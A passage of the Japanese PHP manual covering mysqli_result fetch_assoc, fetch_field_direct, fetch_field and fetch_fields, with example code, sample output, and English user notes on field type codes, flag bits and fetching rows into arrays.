        for ($i=0; $i<count($index_keys); $i++) {

                $key_name = $index_keys[$i];
                if (!isset($row[$key_name])) {
                        print "Error: Key $key_name is not present in the results output.\n";
                        return(false);
                }

                $key_val= isset($row[$key_name]) ? $row[$key_name]  : "";

                if (!isset($pointer[$key_val])) {

                        $pointer[$key_val] = "";                // Start a new node
                        $pointer = & $pointer[$key_val];                // Move the pointer on to the new node
                }
                else {
                        $pointer = & $pointer[$key_val];            // Already exists, move the pointer on to the new node
                }

        } // for $i

        // At this point, $pointer should be at the furthest point on the tree of keys
        // Now we can go through all the columns and place their values on the tree
        // For ease of use, include the index keys and their values at this point too

        foreach ($row as $key => $val) {
                        $pointer[$key] = $val;
        }

  } // $row

  /* free result set */
  $result->close();

  return($assoc);
}

?>
Jammerx2 26-Jan-2010 07:09
Putting multiple rows into an array:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

while($row = $result->fetch_array())
{
$rows[] = $row;
}

foreach($rows as $row)
{
echo $row['CountryCode'];
}

/* free result set */
$result->close();

/* close connection */
$mysqli->close();
?>


結果の行を連想配列で取得する

  • ≪ mysqli_result::fetch_array
  • mysqli_result::fetch_field_direct ≫
  • PHP Manual
  • mysqli_result
  • 結果の行を連想配列で取得する

mysqli_result::fetch_assoc

mysqli_fetch_assoc

(PHP 5, PHP 7)

mysqli_result::fetch_assoc -- mysqli_fetch_assoc — 結果の行を連想配列で取得する

説明

オブジェクト指向型

public mysqli_result::fetch_assoc ( ) : array

手続き型

mysqli_fetch_assoc ( mysqli_result $result ) : array

取得した行に対応する連想配列を返します。もう行がない場合には null を返します。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

取得した行に対応する値の連想配列を返します。 連想配列の各キーが、結果セットのカラムを表します。 結果セットにもう行がない場合には null を返します。

もし 2 つ以上のカラムが同じフィールド名であった場合は、最後に現れた カラムが優先され、以前のデータを上書きします。同名の複数のカラムに アクセスする場合、mysqli_fetch_row() を用いて 数値添字配列を使用するか、あるいはカラム名にエイリアスを指定する 必要があります。

例

例1 mysqli_result::fetch_assoc() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* 連想配列を取得します */
while ($row = $result->fetch_assoc()) {
    printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* 連想配列を取得します */
while ($row = mysqli_fetch_assoc($result)) {
    printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

上の例の出力は、 たとえば以下のようになります。

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

例2 mysqli_result, iterator, mysqli_result::fetch_assoc() の使い方の比較

mysqli_result は、foreach を使って繰り返し処理をすることができます。 結果セットは、現在の位置に関わらず、最初の行から処理されます。

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = 'SELECT Name, CountryCode FROM City ORDER BY ID DESC';

// イテレータを使う場合
$result = $mysqli->query($query);
foreach ($result as $row) {
    printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

echo "\n==================\n";

// イテレータを使わない場合
$result = $mysqli->query($query);
while ($row = $result->fetch_assoc()) {
    printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

上の例の出力は、 たとえば以下のようになります。

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

==================
Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参考

  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_fetch_row() - 結果の行を数値添字配列で取得する
  • mysqli_fetch_object() - 結果セットの現在の行をオブジェクトとして返す
  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_data_seek() - 結果の任意の行にポインタを移動する

User Contributed Notes

gilles dot falquet at unige dot ch 07-Dec-2017 08:24
Be careful when using fetch_assoc instead of fetch_row. If two columns of the result have the same column name, even if they are prefixed with different table names in the query, only one of them will be retained in the result. This is because the prefix is dropped (either by mysql or by this function)

For example if the query is

     select p1.name, p2.name
     from person p1, friend, person p2
     where p1.id = friend.person1 and p2.id = friend.person2

the arrays returned by fetch_assoc will be of the form

{'name' => 'bob'}
{'name' => 'anna'}

and not (as expected)

{'p1.name' => 'bob', 'p2.name' => 'alice'}
{'p1.name' => 'anna', 'p2.name' => 'irla'}
paul dot allsopp at inseego dot com 20-Apr-2017 03:27
The official example given here breaks a cardinal rule, and should be rectified.

while ($row = $result->fetch_assoc())...

...breaks the rule of "assignment in condition".

while (($x = $y->getZ()) !== false) or
while (($x = $y->getZ()) !== null)

...is the correct syntax.

Conditional statements should always check for a boolean
Hesham Mohamed Sediek 24-Apr-2015 02:02
when you fetch the data from the query variable
and try to fetch it again in another part of the script
from the same query variable ,
when you try to echo all data you have fetched,
it will not echo the data you have used in the first fetch
(it will exceed the results you have used in the first fetch).......

Example :
<?php
$connect = new mysqli("localhost","root","root","elshamy")
 or die (mysqli_error());

$query=$connect->query("SELECT * FROM users ORDER BY id ASC");

$first_fetch=$query->fetch_array(MYSQLI_ASSOC);
echo $first_fetch['id']."===>".$first_fetch['user_name']."\n--------------------\n";

while($row=$query->fetch_array(MYSQLI_ASSOC)){

/*it will exceed the first
id&user_name value that
you have use in the first fetch*/

echo $row['id']."  ".$row['user_name']."<br/>";
}
?>

above example will echo :
1===>userA
------------------------
2===>userB
3===>userC
4===>userD
Miller 07-Aug-2013 05:26
I often like to have my results sent elsewhere in the format of an array (although keep in mind that if you just plan on traversing through the array in another part of the script, this extra step is just a waste of time).

This is my one-liner for transforming a mysqli_result set into an array.
<?php
$sql = new MySQLi($host, $username, $password, $database);

$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row);
print_r($set);
?>

Outputs:
Array
(
    [0] => Array
        (
            [id] => 1
            [field2] => a
            [field3] => b
        ),
    [1] => Array
        (
            [id] => 2
            [field2] => c
            [field3] => d
        )
)

I use other variations to adapt to the situation, i.e. if I am selecting only one field:
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT `field2` FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row['field2']);
print_r($set);
?>
Outputs:
Array
(
    [0] => a
    [1] => c
)

Or, to make the array associative with the primary index (code assumes primary index is the first field in the table):
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[array_shift($row)] = $row);
print_r($set);
?>
Outputs:
Array
(
    [1] => Array
        (
            [field2] => a
            [field3] => b
        ),
    [2] => Array
        (
            [field2] => c
            [field3] => d
        )
)
james dot phx at gmail dot com 11-Aug-2011 05:58
IMPORTANT NOTE:

If you were used to using code like this:

<?php
while(false !== ($row = mysql_fetch_assoc($result)))
{
    //...
}
?>

You must change it to this for mysqli:

<?php
while(null !== ($row = mysqli_fetch_assoc($result)))
{
    //...
}
?>

The former will cause your script to run until max_execution_time is reached.


単一のフィールドのメタデータを取得する

  • ≪ mysqli_result::fetch_assoc
  • mysqli_result::fetch_field ≫
  • PHP Manual
  • mysqli_result
  • 単一のフィールドのメタデータを取得する

mysqli_result::fetch_field_direct

mysqli_fetch_field_direct

(PHP 5, PHP 7)

mysqli_result::fetch_field_direct -- mysqli_fetch_field_direct — 単一のフィールドのメタデータを取得する

説明

オブジェクト指向型

public mysqli_result::fetch_field_direct ( int $fieldnr ) : object

手続き型

mysqli_fetch_field_direct ( mysqli_result $result , int $fieldnr ) : object

指定した結果セットから、フィールド定義情報を含むオブジェクトを返します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

fieldnr

フィールド番号。この値は 0 から フィールド数 - 1 までの範囲でなければなりません。

返り値

フィールド定義情報を含むオブジェクトを返します。もし、指定した fieldnr のフィールドの情報が取得できない場合は false を返します。

オブジェクトの属性
属性 | 説明
name | カラムの名前。
orgname | もしエイリアスが指定されている場合の、本来の名前。
table | フィールドが属するテーブルの名前。
orgtable | もしエイリアスが指定されている場合の、本来のテーブル名。
def | フィールドのデフォルト値。文字列形式。
max_length | 結果セットにおけるフィールドの最大幅。
length | テーブルの定義で指定されているフィールド幅。
charsetnr | フィールドの文字セット番号。
flags | フィールドのビットフラグを整数型で表す。
type | フィールドのデータ型。
decimals | フィールドの桁数（数値型のフィールド）。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* カラム 'SurfaceArea' のフィールド情報を取得します */
    $finfo = $result->fetch_field_direct(1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* カラム 'SurfaceArea' のフィールド情報を取得します */
    $finfo = mysqli_fetch_field_direct($result, 1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参考

  • mysqli_num_fields() - 結果のフィールド数を取得する
  • mysqli_fetch_field() - 結果セットの次のフィールドを返す
  • mysqli_fetch_fields() - 結果セットのフィールド情報をオブジェクトの配列で返す

User Contributed Notes

Anonymous 03-Jul-2020 06:40
JSON type is 245 if anyone is wondering.
anatoliy at ukhvanovy dot name 21-Mar-2015 10:58
You can find all available data types here:
https://php.net/manual/ru/mysqli.constants.php
(search "MYSQLI_TYPE_" in your browser)
gmx dot net at Hoffmann dot P 18-Jun-2014 01:32
Warning!
This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want to append " LIMIT 1" or use mysqli->unbuffered_query() to save yourself from a memory bloat.
andre at koethur dot de 20-Apr-2014 07:53
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
ben dot NOSPAM at NOSPAM dot seraphire dot com 06-Dec-2012 04:01
This may be obvious, but the constants for the field types are already defined in PHP, and can be found in the documentation at: http://php.net/manual/en/mysqli.constants.php
bl at example dot com 09-Aug-2010 10:11
note that
"SELECT <timestamp-field>, ..."
will return the field with type 7 (timestamp) but with content like "2010-07-14 14:35:08". the point being it is a string.

"SELECT <timestamp-field> + 0, ..."
returns a type 5 (double) but while a number, is not seconds since epoch, but a number in MySQL's "YYYYMMDDHHMMSS" format, in this example:
20100714143508

(PHP 5.2.12)
shoresofnowhere at gmail dot com 26-Aug-2009 03:50
Beware of the fact that the ->def property NEVER gets filled with the correct default field value, so it's totally USELESS.

This happens NOT for a bug in php (so don't go filling in a bug report), but happens BY DESIGN, since the MySQL C API call doesn't fill in this value, unless you call the mysql_list_fields() function, which Php doesn't.

See here for reference.
http://dev.mysql.com/doc/refman/5.0/en/c-api-datatypes.html

Also, be aware that if you're using a query which contains subqueries, the primary key/autoincrement flags do NOT get passed along, even if the field you're looking at is the primary autoincrement key of the master table:

SELECT * from (SELECT id from areas) AS subareas

and you'll find primary key and autoinc flags off on id field, even if id was the primary autoinc key of areas table.

This also is by design, i think, since it's supposed that if we're using a subquery then the primary key/autoinc stuff might have no sense at all, since in the result set we can compose fileds from many different tables.

Hoping this is useful, bye!
gcdreak at example dot com 18-Aug-2009 03:28
I wrote a simple class to get info about fields.
Try it!

<?php
            class MysqlFieldsInfo implements Iterator
            {

                private $result;
                private $position;
                private $row;

                function __construct($result){
                    $this->result = $result;
                    $this->position = 0;
                    $this->rewind();    // W $results wewn?trzny wska?nik mo?e by? przesuni?ty wi?c powracamy do pocz?tku
                }

                public function current(){
                    return $this->row;
                }

                public function next(){
                    $this->position++;
                    $this->row = $this->result->fetch_field();
                }

                public function valid(){
                    return (boolean) $this->row;
                }

                public function key(){
                    return $this->position;
                }

                public function rewind(){
                    $this->position = 0;
                    $this->result->field_seek(0);
                    $this->next();
                }

                //    This function show data in table
                public function export(){

                    echo '<table id="db_table_info">';
                    echo '<tr>
                                                <th>Name</th>
                                                <th>Orgname</th>
                                                <th>Table</th>
                                                <th>Orgtable</th>
                                                <th>Def</th>
                                                 <th>Max_length</th>
                                                 <th>Length</th>
                                                 <th>Charsetnr</th>
                                                 <th>Flags</th>
                                                 <th>Type</th>
                                                  <th>Decimals</th>
                                          </tr>';
                    while($this->valid()){
                        echo '<tr>';
                        printf("\n\t<td>%s</td>\n", $this->current()->name);
                        printf("\t<td>%s</td>\n", $this->current()->orgname);
                        printf("\t<td>%s</td>\n", $this->current()->orgtable);
                        printf("\t<td>%s</td>\n", $this->current()->def);
                        printf("\t<td>%s</td>\n", $this->current()->max_length);
                        printf("\t<td>%s</td>\n", $this->current()->length);
                        printf("\t<td>%s</td>\n", $this->current()->charsetnr);
                        printf("\t<td>%s</td>\n", $this->current()->flags);
                        printf("\t<td>%s</td>\n", $this->current()->type);
                        printf("\t<td>%s</td>\n", $this->current()->decimals);

                        echo '</tr>';

                        $this->next();
                    }

                    echo '</table>';
                }
            }
?>
daniel at summit cove dot com 22-Feb-2009 03:36
Here's a bigger list of data types.  I got this by creating every type I could and calling fetch_fields():

<?php
$mysql_data_type_hash = array(
    1=>'tinyint',
    2=>'smallint',
    3=>'int',
    4=>'float',
    5=>'double',
    7=>'timestamp',
    8=>'bigint',
    9=>'mediumint',
    10=>'date',
    11=>'time',
    12=>'datetime',
    13=>'year',
    16=>'bit',
    //252 is currently mapped to all text and blob types (MySQL 5.0.51a)
    253=>'varchar',
    254=>'char',
    246=>'decimal'
);
?>
cjs at ashdowntech dot com 16-Sep-2008 09:52
According to
http://www.redferni.uklinux.net/mysql/MySQL-Protocol.html

Data type values are:

DECIMAL           0       ENUM           247
TINY              1       SET            248
SHORT             2       TINY_BLOB      249
LONG              3       MEDIUM_BLOB    250
FLOAT             4       LONG_BLOB      251
DOUBLE            5       BLOB           252
NULL              6       VAR_STRING     253
TIMESTAMP         7       STRING         254
LONGLONG          8       GEOMETRY       255
INT24             9
DATE             10
TIME             11
DATETIME         12
YEAR             13
NEWDATE          14

Note that this is not tested and does not contain
all the values noted by deluxmozart
cjs at ashdowntech dot com 12-Sep-2008 08:00
According to
dev.mysql.com/sources/doxygen/mysql-5.1/mysql__com_8h-source.html
the flag bits are:

 NOT_NULL_FLAG          1         /* Field can't be NULL */
 PRI_KEY_FLAG           2         /* Field is part of a primary key */
 UNIQUE_KEY_FLAG        4         /* Field is part of a unique key */
 MULTIPLE_KEY_FLAG      8         /* Field is part of a key */
 BLOB_FLAG             16         /* Field is a blob */
 UNSIGNED_FLAG         32         /* Field is unsigned */
 ZEROFILL_FLAG         64         /* Field is zerofill */
 BINARY_FLAG          128         /* Field is binary   */
 ENUM_FLAG            256         /* field is an enum */
 AUTO_INCREMENT_FLAG  512         /* field is a autoincrement field */
 TIMESTAMP_FLAG      1024         /* Field is a timestamp */
deluxmozart at yahoo dot de 24-Jul-2008 11:05
Here are some Numbers of Datatypes. I searched for it but i didn't find a list, where the datatypes of the numbers are listed.

so first I can give this:

    3    -    Int
    10    -    Date
    246    -    Decimal
    252    -     text
    253    -    VarChar
    254    -    Boolean


結果セットの次のフィールドを返す

  • ≪ mysqli_result::fetch_field_direct
  • mysqli_result::fetch_fields ≫
  • PHP Manual
  • mysqli_result
  • 結果セットの次のフィールドを返す

mysqli_result::fetch_field

mysqli_fetch_field

(PHP 5, PHP 7)

mysqli_result::fetch_field -- mysqli_fetch_field — 結果セットの次のフィールドを返す

説明

オブジェクト指向型

public mysqli_result::fetch_field ( ) : object

手続き型

mysqli_fetch_field ( mysqli_result $result ) : object

結果セットから ひとつのカラムの情報をオブジェクトとして返します。この関数を 繰り返しコールすることで、結果セットのすべてのカラムについての情報が 取得可能です。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

フィールド定義情報を含むオブジェクトを返します。もし フィールドの情報が取得できない場合は、false を返します。

オブジェクトのプロパティ
プロパティ | 説明
name | カラムの名前。
orgname | もしエイリアスが指定されている場合の、本来の名前。
table | フィールドが属するテーブルの名前。
orgtable | もしエイリアスが指定されている場合の、本来のテーブル名。
def | デフォルト値のために予約済。現在は常に ""。
db | データベース名
catalog | カタログ名。常に "def"。
max_length | 結果セットにおけるフィールドの最大幅。
length | テーブルの定義で指定されているフィールド幅。
charsetnr | フィールドの文字セット番号。
flags | フィールドのビットフラグを整数型で表す。
type | フィールドのデータ型。
decimals | フィールドの桁数（integer 型のフィールド）。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* すべてのカラムのフィールド情報を取得します */
    while ($finfo = $result->fetch_field()) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* すべてのカラムのフィールド情報を取得します */
    while ($finfo = mysqli_fetch_field($result)) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参考

  • mysqli_num_fields() - 結果のフィールド数を取得する
  • mysqli_fetch_field_direct() - 単一のフィールドのメタデータを取得する
  • mysqli_fetch_fields() - 結果セットのフィールド情報をオブジェクトの配列で返す
  • mysqli_field_seek() - 結果ポインタを、指定したフィールドオフセットに設定する

User Contributed Notes

sofe2038 at gmail dot com 15-Mar-2018 12:55
The constants in a few other comments above appear to be inaccurate. Here are some more official references that seem quite hard to search.

The "type" attribute: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-type
The "flags" attribute: https://github.com/google/mysql/blob/master/include/mysql_com.h#L133

In addition, all attributes are explained on the COM_QUERY_RESPONSE page too: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-definition
nick 10-Nov-2017 12:48
It is not possible to get the values for an enum or set field through fetch_fields(). As far as I can tell this is because it hasn't been implemented in the mysqlnd api but whatever the reason it is not possible and you must issue a query like SHOW COLUMNS directly and interrogate the result to determine them.

Incidentally you need to check the enum_flag rather than look for the enum_type to determine whether a field is enum or not. The type returned is usually some kind of string.
rvila at revolutionvisualarts dot com 20-Oct-2016 02:59
The predefined constant values returned by the function get_predefined_constants() for:

MYSQLI_TYPE_CHAR = 1
MYSQLI _TYPE_TINYINT = 1

If the code is used to categorized the type of field use this values will of course create confusion. For example:

if($fieldtype === "CHAR"){
    $field_html_attribute = "text";
    $field_html_length = 1;
} elseif($fieldtype === "TINYINT") {
    $field_html_attribute = "number";
    $field_html_length = 1;
}

If an array is created to set the key as the numeric value and the value of that key as the the text title, TINYINT will be replaced by CHAR value. But is this process is reversed, then the code will select TINYINT if the foreach statement set to break when the numeric value of the flag equals the value of the current key as the first intance.

Base in the note added by Johnathan at http://php.net/manual/en/mysqli.field-count.php the values should be:

CHAR = 254
TINYINT = 1

But predefined function attributes the value 254 to MYSQLI_TYPE_STRING.

Just for FYI
andre at koethur dot de 19-Apr-2014 08:13
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
miqrogroove at gmail dot com 20-Jan-2013 08:19
Beware the values of the predefined constants.  They do not always correlate with the actual field types.  For example:

MYSQLI_TYPE_BLOB: 252
MYSQLI_TYPE_TINY_BLOB: 249
MYSQLI_TYPE_MEDIUM_BLOB: 250
MYSQLI_TYPE_LONG_BLOB: 251

MySQLi will indeed return a value of 252 for a tinytext field, but as you can see, this does not correspond to the value of MYSQLI_TYPE_TINY_BLOB.
Anonymous 16-Feb-2012 08:20
The constants for the TYPE number returned by fetch_field are enumerated here (MYSQLI_TYPE_*):
http://php.net/manual/en/mysqli.constants.php
iansoko at hotmail dot com 06-Oct-2011 08:24
here are the data types that correspond to the TYPE number returned by fetch_field.

thought i would post this here since i couldn't find the info elsewhere.

numerics
-------------
BIT: 16
TINYINT: 1
BOOL: 1
SMALLINT: 2
MEDIUMINT: 9
INTEGER: 3
BIGINT: 8
SERIAL: 8
FLOAT: 4
DOUBLE: 5
DECIMAL: 246
NUMERIC: 246
FIXED: 246

dates
------------
DATE: 10
DATETIME: 12
TIMESTAMP: 7
TIME: 11
YEAR: 13

strings & binary
------------
CHAR: 254
VARCHAR: 253
ENUM: 254
SET: 254
BINARY: 254
VARBINARY: 253
TINYBLOB: 252
BLOB: 252
MEDIUMBLOB: 252
TINYTEXT: 252
TEXT: 252
MEDIUMTEXT: 252
LONGTEXT: 252
ragtag at hotmail dot com 17-Sep-2008 05:16
The flags used by MySql are:
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536

To test if a flag is set you can use & like so:
<?php
$meta = $mysqli_result_object->fetch_field();
if ($meta->flags & 4) {
  echo 'Unique key flag is set';
}
?>


結果セットのフィールド情報をオブジェクトの配列で返す

  • ≪ mysqli_result::fetch_field
  • mysqli_result::fetch_object ≫
  • PHP Manual
  • mysqli_result
  • 結果セットのフィールド情報をオブジェクトの配列で返す

mysqli_result::fetch_fields

mysqli_fetch_fields

(PHP 5, PHP 7)

mysqli_result::fetch_fields -- mysqli_fetch_fields — 結果セットのフィールド情報をオブジェクトの配列で返す

説明

オブジェクト指向型

public mysqli_result::fetch_fields ( ) : array

手続き型

mysqli_fetch_fields ( mysqli_result $result ) : array

この関数は mysqli_fetch_field() 関数と同じ目的で 使用しますが、ひとつ違いがあります。一度にひとつずつフィールド情報を 取得するのではなく、複数のカラムの情報をオブジェクトの配列で返します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

フィールド定義情報を含むオブジェクトの配列を返します。もし フィールドの情報が取得できない場合は、false を返します。

オブジェクトのプロパティ
プロパティ | 説明
name | カラムの名前。
orgname | もしエイリアスが指定されている場合の、本来の名前。
table | フィールドが属するテーブルの名前。
orgtable | もしエイリアスが指定されている場合の、本来のテーブル名。
max_length | 結果セットにおけるフィールドの最大幅。
length | テーブルの定義で指定されているフィールド幅 (バイト単位)。 この値 (バイト数) は、利用している文字セットによってはテーブル定義の値 (文字数) と異なるかもしれないことに注意しましょう。 たとえば utf8 の場合は一文字あたり3バイトなので、varchar(10) の長さは30になります。 一方、同じ定義でも latin1 の場合の長さは10になります。
charsetnr | フィールドの文字セット番号 (id)。
flags | フィールドのビットフラグを整数型で表す。
type | フィールドのデータ型。
decimals | フィールドの桁数（integer 型のフィールド）。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("127.0.0.1", "root", "foofoo", "sakila");

/* 接続状況をチェックします */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

foreach (array('latin1', 'utf8') as $charset) {

    // 文字セットを設定します。これは、バイト単位の長さなどいくつかの値に影響を及ぼします
    $mysqli->set_charset($charset);

    $query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

    echo "======================\n";
    echo "Character Set: $charset\n";
    echo "======================\n";

    if ($result = $mysqli->query($query)) {

        /* すべてのカラムのフィールド情報を取得します */
        $finfo = $result->fetch_fields();

        foreach ($finfo as $val) {
            printf("Name:      %s\n",   $val->name);
            printf("Table:     %s\n",   $val->table);
            printf("Max. Len:  %d\n",   $val->max_length);
            printf("Length:    %d\n",   $val->length);
            printf("charsetnr: %d\n",   $val->charsetnr);
            printf("Flags:     %d\n",   $val->flags);
            printf("Type:      %d\n\n", $val->type);
        }
        $result->free();
    }
}
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "sakila");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

foreach (array('latin1', 'utf8') as $charset) {

    // 文字セットを設定します。これは、バイト単位の長さなどいくつかの値に影響を及ぼします
    mysqli_set_charset($link, $charset);

    $query = "SELECT actor_id, last_name from actor ORDER BY actor_id";

    echo "======================\n";
    echo "Character Set: $charset\n";
    echo "======================\n";

    if ($result = mysqli_query($link, $query)) {

        /* すべてのカラムのフィールド情報を取得します */
        $finfo = mysqli_fetch_fields($result);

        foreach ($finfo as $val) {
            printf("Name:      %s\n",   $val->name);
            printf("Table:     %s\n",   $val->table);
            printf("Max. Len:  %d\n",   $val->max_length);
            printf("Length:    %d\n",   $val->length);
            printf("charsetnr: %d\n",   $val->charsetnr);
            printf("Flags:     %d\n",   $val->flags);
            printf("Type:      %d\n\n", $val->type);
        }
        mysqli_free_result($result);
    }
}

mysqli_close($link);
?>

上の例の出力は以下となります。

======================
Character Set: latin1
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    45
charsetnr: 8
Flags:     20489
Type:      253

======================
Character Set: utf8
======================
Name:      actor_id
Table:     actor
Max. Len:  3
Length:    5
charsetnr: 63
Flags:     49699
Type:      2

Name:      last_name
Table:     actor
Max. Len:  12
Length:    135
charsetnr: 33
